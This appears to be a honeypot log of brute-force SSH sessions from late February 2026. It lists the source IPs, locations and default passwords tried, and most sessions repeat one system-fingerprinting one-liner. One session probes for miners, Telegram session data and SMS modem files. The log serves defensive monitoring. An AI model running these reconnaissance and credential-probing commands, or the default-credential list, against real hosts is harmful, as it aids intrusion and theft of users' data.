$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—2
$ uname -s -v -n -m 2 > /dev/null Γ—2
$ uname -m 2 > /dev/null Γ—2
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—2
🎭 chai_root_16 (206.189.142.135) β€” Bengaluru, India Β· 6 sessions Β· 24 cmds
2026-02-28 23:04 EST Β· as root/1234, root/12345678, root/admin
export β†’ uname β†’ cat (repeated export 6x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—6
$ uname -s -v -n -m 2 > /dev/null Γ—6
$ uname -m 2 > /dev/null Γ—6
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—6
🎭 eagle_root_3 (162.243.122.39) β€” Secaucus, United States Β· 10 sessions Β· 40 cmds
2026-02-28 21:27 EST Β· as admin/123456, admin/admin, admin/password
export β†’ uname β†’ cat (repeated export 10x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—10
$ uname -s -v -n -m 2 > /dev/null Γ—10
$ uname -m 2 > /dev/null Γ—10
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—10
🎭 moose_root_2 (167.99.189.246) β€” Toronto, Canada Β· 10 sessions Β· 40 cmds
2026-02-28 21:29 EST Β· as admin/123456, admin/admin, admin/password
export β†’ uname β†’ cat (repeated export 10x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—10
$ uname -s -v -n -m 2 > /dev/null Γ—10
$ uname -m 2 > /dev/null Γ—10
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—10
🎭 ghost_root_6 (68.183.232.71) β€” Singapore, Singapore Β· 19 sessions Β· 76 cmds
2026-02-28 20:10 EST Β· as admin/123456, admin/admin, admin/admin123
export β†’ uname β†’ cat (repeated export 19x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—19
$ uname -s -v -n -m 2 > /dev/null Γ—19
$ uname -m 2 > /dev/null Γ—19
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—19
🎭 lotus_root_4 (139.59.58.2) β€” Bengaluru, India Β· 13 sessions Β· 52 cmds
2026-02-28 20:19 EST Β· as admin/123456, admin/admin, admin/admin123
export β†’ uname β†’ cat (repeated export 13x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—13
$ uname -s -v -n -m 2 > /dev/null Γ—13
$ uname -m 2 > /dev/null Γ—13
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—13
🎭 wraith_root_51 (165.245.184.64) β€” Singapore, Singapore Β· 4 sessions Β· 16 cmds
2026-02-28 20:11 EST Β· as admin/password, root/12345678, root/qwerty
export β†’ uname β†’ cat (repeated export 4x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—4
$ uname -s -v -n -m 2 > /dev/null Γ—4
$ uname -m 2 > /dev/null Γ—4
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—4
🎭 yankee_root_2 (134.199.201.50) β€” Douglasville, United States Β· 20 sessions Β· 80 cmds
2026-02-28 18:33 EST Β· as admin/123456, admin/admin, admin/password
export β†’ uname β†’ cat (repeated export 20x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—20
$ uname -s -v -n -m 2 > /dev/null Γ—20
$ uname -m 2 > /dev/null Γ—20
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—20
🎭 stroopwafel_root_13 (161.35.81.56) β€” Amsterdam, Netherlands Β· 2 sessions Β· 8 cmds
2026-02-28 20:06 EST Β· as root/admin, root/toor
export β†’ uname β†’ cat
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—2
$ uname -s -v -n -m 2 > /dev/null Γ—2
$ uname -m 2 > /dev/null Γ—2
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—2
🎭 rogue_root_55 (139.59.121.105) β€” Singapore, Singapore Β· 3 sessions Β· 12 cmds
2026-02-28 19:13 EST Β· as admin/admin, pi/raspberry, ubuntu/ubuntu
export β†’ uname β†’ cat (repeated export 3x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—3
$ uname -s -v -n -m 2 > /dev/null Γ—3
$ uname -m 2 > /dev/null Γ—3
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—3
🎭 outback_root_8 (209.38.85.119) β€” Sydney, Australia Β· 3 sessions Β· 12 cmds
2026-02-28 19:20 EST Β· as root/12345678, root/admin, root/qwerty
export β†’ uname β†’ cat (repeated export 3x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—3
$ uname -s -v -n -m 2 > /dev/null Γ—3
$ uname -m 2 > /dev/null Γ—3
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—3
🎭 seoul_root_13 (222.104.120.107) β€” Pohang, South Korea Β· 1 session Β· 9 cmds
2026-02-28 19:21 EST Β· as root/admin
network mapping β†’ OS/kernel identification β†’ CPU profiling
$ /ip cloud print
$ ifconfig
↳ network mapping
$ uname -a
↳ OS/kernel identification
$ cat /proc/cpuinfo
↳ CPU profiling
$ ps | grep '[Mm]iner'
$ ps -ef | grep '[Mm]iner'
$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*
$ locate D877F783D5D3EF8Cs
$ echo Hi | cat -n
🎭 crumpet_root_8 (144.126.196.40) β€” Slough, United Kingdom Β· 4 sessions Β· 16 cmds
2026-02-28 19:12 EST Β· as admin/admin123, root/1234, root/admin123
export β†’ uname β†’ cat (repeated export 4x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—4
$ uname -s -v -n -m 2 > /dev/null Γ—4
$ uname -m 2 > /dev/null Γ—4
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—4
🎭 reef_root_11 (170.64.221.73) β€” Sydney, Australia Β· 3 sessions Β· 12 cmds
2026-02-28 18:46 EST Β· as admin/123456, admin/admin123, admin/password
export β†’ uname β†’ cat (repeated export 3x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—3
$ uname -s -v -n -m 2 > /dev/null Γ—3
$ uname -m 2 > /dev/null Γ—3
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—3
🎭 spice_root_21 (206.189.128.159) β€” Bengaluru, India Β· 3 sessions Β· 12 cmds
2026-02-28 18:37 EST Β· as admin/admin, root/1234, root/12345678
export β†’ uname β†’ cat (repeated export 3x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—3
$ uname -s -v -n -m 2 > /dev/null Γ—3
$ uname -m 2 > /dev/null Γ—3
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—3
🎭 poutine_root_5 (68.183.203.18) β€” Toronto, Canada Β· 3 sessions Β· 12 cmds
2026-02-28 18:35 EST Β· as root/12345678, root/admin, root/qwerty
export β†’ uname β†’ cat (repeated export 3x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—3
$ uname -s -v -n -m 2 > /dev/null Γ—3
$ uname -m 2 > /dev/null Γ—3
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—3
🎭 monsoon_root_19 (139.59.34.191) β€” Bengaluru, India Β· 3 sessions Β· 12 cmds
2026-02-28 17:52 EST Β· as admin/admin, pi/raspberry, ubuntu/ubuntu
export β†’ uname β†’ cat (repeated export 3x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—3
$ uname -s -v -n -m 2 > /dev/null Γ—3
$ uname -m 2 > /dev/null Γ—3
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—3
🎭 poutine_root_6 (159.203.63.81) β€” Toronto, Canada Β· 3 sessions Β· 12 cmds
2026-02-28 17:46 EST Β· as admin/admin, root/1234, root/12345678
export β†’ uname β†’ cat (repeated export 3x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo 